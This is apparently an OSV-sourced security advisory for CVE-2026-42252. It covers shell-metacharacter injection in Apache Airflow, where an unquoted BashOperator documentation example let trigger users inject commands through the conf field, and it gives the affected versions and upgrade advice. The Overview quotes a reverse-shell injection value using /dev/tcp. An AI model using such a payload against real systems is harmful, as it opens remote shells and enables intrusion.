---
id: CVE-2026-42252
aliases:
  - GHSA-c85c-g9wv-pph2
  - BIT-airflow-2026-42252
  - PYSEC-2026-184
title: >-
  Apache Airflow vulnerable to Improper Neutralization of Special Elements Used
  in a Template Engine
summary: >-
  Apache Airflow vulnerable to Improper Neutralization of Special Elements Used
  in a Template Engine
severity: critical
cvss: 9.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N'
vendor: apache-airflow
product: apache-airflow
ecosystem: pip
affected:
  - 'apache-airflow >= 3.0.0, < 3.2.2'
patched:
  - apache-airflow 3.2.2
published: '2026-06-01'
updated: '2026-07-09'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-c85c-g9wv-pph2'
references:
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-42252'
  - url: 'https://github.com/apache/airflow/pull/64129'
  - url: 'https://github.com/apache/airflow'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml
  - url: 'https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7'
tags:
  - osv
  - pip
epss: 0.00592
epssPercentile: 0.45947
ingestedAt: '2026-07-10T13:49:10.709Z'
---

## Overview

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

## Affected packages

- `apache-airflow >= 3.0.0, < 3.2.2`

## Remediation

Upgrade to a patched release:

- `apache-airflow 3.2.2`